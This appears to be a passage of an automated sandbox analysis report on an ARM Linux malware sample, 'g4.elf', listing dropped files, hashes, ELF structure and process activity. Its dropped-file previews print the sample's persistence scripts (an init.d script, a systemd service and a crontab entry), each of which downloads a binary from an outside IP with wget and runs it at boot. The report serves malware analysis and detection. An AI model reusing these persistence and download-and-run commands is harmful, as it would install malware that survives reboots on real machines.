        http://9/curl.shg4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpfalse
          		high
          http://schemas.xmlsoap.org/soap/envelope/g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpfalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            ⊘No context

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            /etc/init.d/hello

            Download File
            Process:/tmp/g4.elf
            File Type:Bourne-Again shell script, ASCII text executable
            Category:dropped
            Size (bytes):617
            Entropy (8bit):4.73699121422326
            Encrypted:false
            SSDEEP:12:i5BpMp5kTMp5Gu+a6zEq26Y2sMG259srxylKNVUdURucTyl:ifpMr8MrPd6QqwMGAsrxy8bp4
            MD5:C0BDFE9F238AD713156495EA2A224748
            SHA1:140CCB9B07A53A03B0DA57C8A588C088EC1C0E4F
            SHA-256:3E84B34A9468D7CB0C1DD0B4025F21F43B1271727DD1BBF006994908D72B61CA
            SHA-512:B0B7E96E44FB4C3D95737A476273AFC6F01D8C4AE28798AE98C63970C75F2F1E534A21F6705B99E1B145CDFE444982F5E8FFA88D6BD0E6D060A761807F640DA2
            Malicious:true
            Reputation:low
            Preview:#!/bin/bash.### BEGIN INIT INFO.# Provides: hello.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: hi :).# Description: hello :).### END INIT INFO..case "$1" in. start).rm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 |C 2 R -1157128192..p4 > /dev/null 2>&1;" ;;. stop). exit 0. ;;. restart). $0 stop. $0 start. ;;. *). echo "Usage: $0 {start|stop|restart}". exit 1. ;;.esac..exit 0.

            /etc/systemd/system/hello.service

            Download File
            Process:/tmp/g4.elf
            File Type:troff or preprocessor input, ASCII text
            Category:dropped
            Size (bytes):313
            Entropy (8bit):5.28368958442553
            Encrypted:false
            SSDEEP:6:z8KbX9RZAMGCk4vEuIACLm+fOAtMFF5C26VGBg+CIEXwsCBLQmWA4Rv:zb9RZADJiIE+m4Eq26Y2sLLHWrv
            MD5:E8FA660699DB2AC4047D8DFCC165B2B5
            SHA1:C2C17589EF087A334E2989D39443A62156BF78BA
            SHA-256:A0893A909155A2EE8D132B3B3A40E3FBA42589AC842490141B7D9E8964FC9B6B
            SHA-512:C258B9CDD646447DD11D21DD928E355B0FF0CDF3C2BE965A519D95E287428C6428095551FAF2B77E3E9970AA6A163D12AC6C6AF74B7FD3A8EA90ED0130A64B26
            Malicious:false
            Reputation:low
            Preview:[Unit].Description=hi.After=network.target..[Service].RemainAfterExit=true.TimeoutSec=30s.Restart=no.ExecStart=/bin/bash -c "sleep 10; rm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 |C 2 R -1157128192..p1 > /dev/null 2>&1;".Type=forking..[Install].WantedBy=multi-user.target.

            /memfd:snapd-env-generator (deleted)

            Download File
            Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
            File Type:ASCII text
            Category:dropped
            Size (bytes):76
            Entropy (8bit):3.7627880354948586
            Encrypted:false
            SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
            MD5:D86A1F5765F37989EB0EC3837AD13ECC
            SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
            SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
            SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
            Malicious:false
            Reputation:moderate, very likely benign file
            Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

            /tmp/crontab.tmp

            Download File
            Process:/tmp/g4.elf
            File Type:troff or preprocessor input, ASCII text
            Category:dropped
            Size (bytes):134
            Entropy (8bit):4.800827342303799
            Encrypted:false
            SSDEEP:3:SH3YFKKtoRFeMPHRC2I+KRIYoSGuVGBg2ZCIUU0XzT9Fw2sePn:SH3otMFF5C26VGBg+CIEX9W5Cn
            MD5:0A91D2A42E3A40230F13F8AE1ACE835B
            SHA1:84600ADBE8E19D753BDF02E878413990F9D47168
            SHA-256:1B5CF37D84868105A7D316172D6D5FAC3C7896AFD590BFB547C2908AD6E11B28
            SHA-512:2A6A6C514219F49BEB0EA57AEDE2BBBF7EA6ADF277861184AD1A5D4DA934DCC4A74C556B67C62E0B010C69C217510B318B241E411B6456A0CDD2293AAB13BA6C
            Malicious:true
            Reputation:low
            Preview:@rebootrm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 |C 2 R -1157128192..p2 > /dev/null 2>&1;".

            /tmp/qemu-open.kNoT9r (deleted)

            Download File
            Process:/tmp/g4.elf
            File Type:zlib compressed data
            Category:dropped
            Size (bytes):259
            Entropy (8bit):3.444115888472326
            Encrypted:false
            SSDEEP:6:OgDFR7Y/VUS/FYDFs/VjmsVot/VOArB/VF:OYhS/FQN/
            MD5:9EB0936F3515DF76E39E9EBDD99E476D
            SHA1:CB05EB6AF27257767853B0F10BC5043B172D22BF
            SHA-256:4016C8E0DD74004EABD8001629C3F439C3387F5517BDD31D7D0571637DB8949F
            SHA-512:40CD5DC8B299BB3A481CDA7EA32452237A1616054BFCCAF4CDF3C191C0CAB42458E95019443571530FA337C2870833156CBA5C63C357E54EB594D8DC992FF6D5
            Malicious:false
            Reputation:low
            Preview:8000-1b000 r-xp 00000000 fd:00 531606 /tmp/g4.elf.23000-24000 rw-p 00013000 fd:00 531606 /tmp/g4.elf.24000-2a000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack]..

            /var/spool/cron/crontabs/tmp.ypmMkm

            Download File
            Process:/usr/bin/crontab
            File Type:troff or preprocessor input, ASCII text
            Category:dropped
            Size (bytes):324
            Entropy (8bit):5.253509711074735
            Encrypted:false
            SSDEEP:6:SUrpqoqQjEOP1K8XAEuLuwJOBFQ3pkuiGMQ5UYLtCFt3HYotMFF5C26VGBg+CIEN:8Qj7QEuLut83pkuUeHLUHYAEq26Y2sK
            MD5:9D26EFE8BB0A0A5442B7B93DDEB4F82D
            SHA1:DFEB614EA069A58755E9788EE584840925FFABD4
            SHA-256:F4AAB56B15C550B1D8D0C3FA349B8C4C561497B81812A733E9B4BD63511FCF12
            SHA-512:92C937D7CBAD78F3323F438117E89F58864524CD605328B1500A0673B1F6D17EFA37DAA258878D756E3A59D0176347DBAAABC455FAE8F708946FF17887DEEA72
            Malicious:true
            Reputation:low
            Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/tmp/crontab.tmp installed on Sun Jan 12 12:33:08 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@rebootrm -rf /tmp/g4; wget http://103.136.41.100/g4 -O /tmp/g4; chmod 777 /tmp/g4; /tmp/g4 |C 2 R -1157128192..p2 > /dev/null 2>&1;".

            Static File Info

            General

            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.079972646735742
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:g4.elf
            File size:79'764 bytes
            MD5:1629b2e4a70b6c607804bd9cc2ddb623
            SHA1:317d02fbc2eea200636c9ef1f80b9e6b64f354e5
            SHA256:196a401f079a767f68ebda1402c152c4d11c58ac488cf91fed09f1adbe470f0a
            SHA512:76b230f51e4737c43f4cba9aebcb1037685fdae78f5e5f25b8db28f81337c36edd3af4585c1caa84e80fdcb0e27cf0f4e5cf4deddffefaad2b245a2395ff9f5f
            SSDEEP:1536:DbSnKqsVqg5sjuDTMUN3xYcaHa+nMuizPfKzdBnXgIZgTeg:HKIjNjNjPfKzdBQJT
            TLSH:9D730956F9815A42C5D402BB792E569E33076BB8E3DE3313ED241B24778B62F0F27906
            File Content Preview:.ELF..............(.....T...4....5......4. ...(......................+...+...............0...0...0..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..5.......0....-.@0....S

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x8154
            Flags:0x4000002
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:79244
            Section Header Size:40
            Number of Section Headers:13
            Header String Table Index:12

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80940x940x100x00x6AX004
            .textPROGBITS0x80b00xb00x111240x00x6AX0016
            .finiPROGBITS0x191d40x111d40x100x00x6AX004
            .rodataPROGBITS0x191e40x111e40x19280x00x2A004
            .eh_framePROGBITS0x230000x130000x40x00x3WA004
            .init_arrayINIT_ARRAY0x230040x130040x40x00x3WA004
            .fini_arrayFINI_ARRAY0x230080x130080x40x00x3WA004
            .gotPROGBITS0x230100x130100x740x40x3WA004
            .dataPROGBITS0x230840x130840x4900x00x3WA004
            .bssNOBITS0x235140x135140x29700x00x3WA004
            .ARM.attributesARM_ATTRIBUTES0x00x135140x100x00x0001
            .shstrtabSTRTAB0x00x135240x670x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x80000x80000x12b0c0x12b0c6.13080x5R E0x8000.init .text .fini .rodata
            LOAD0x130000x230000x230000x5140x2e846.01350x6RW 0x8000.eh_frame .init_array .fini_array .got .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

            Network Behavior

            ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

            System Behavior

            General

            Start time (UTC):18:33:03
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:/tmp/g4.elf
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:sh -c "systemctl daemon-reload > /dev/null 2>&1"
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/usr/bin/systemctl
            Arguments:systemctl daemon-reload
            File size:996584 bytes
            MD5 hash:4deddfb6741481f68aeac522cc26ff4b

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:sh -c "systemctl start hello.service > /dev/null 2>&1"
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/usr/bin/systemctl
            Arguments:systemctl start hello.service
            File size:996584 bytes
            MD5 hash:4deddfb6741481f68aeac522cc26ff4b

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/usr/bin/crontab
            Arguments:crontab /tmp/crontab.tmp
            File size:43720 bytes
            MD5 hash:66e521d421ac9b407699061bf21806f5

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:sh -c "/etc/init.d/hello > /dev/null 2>&1"
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/bin/sh
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:09
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:34:09
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:34:10
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:34:22
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:34:22
            Start date (UTC):12/01/2025
            Path:/tmp/g4.elf
            Arguments:-
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:04
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:05
            Start date (UTC):12/01/2025
            Path:/usr/bin/xfce4-panel
            Arguments:-
            File size:375768 bytes
            MD5 hash:a15b657c7d54ac1385f1f15004ea6784

            Chronological Activities


            General

            Start time (UTC):18:33:05
            Start date (UTC):12/01/2025
            Path:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
            Arguments:/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
            File size:35136 bytes
            MD5 hash:ac0b8a906f359a8ae102244738682e76

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/usr/lib/systemd/systemd
            Arguments:-
            File size:1620224 bytes
            MD5 hash:9b2bec7092a40488108543f9334aab75

            Chronological Activities


            General

            Start time (UTC):18:33:08
            Start date (UTC):12/01/2025
            Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
            Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
            File size:22760 bytes
            MD5 hash:3633b075f40283ec938a2a6a89671b0e

            Chronological Activities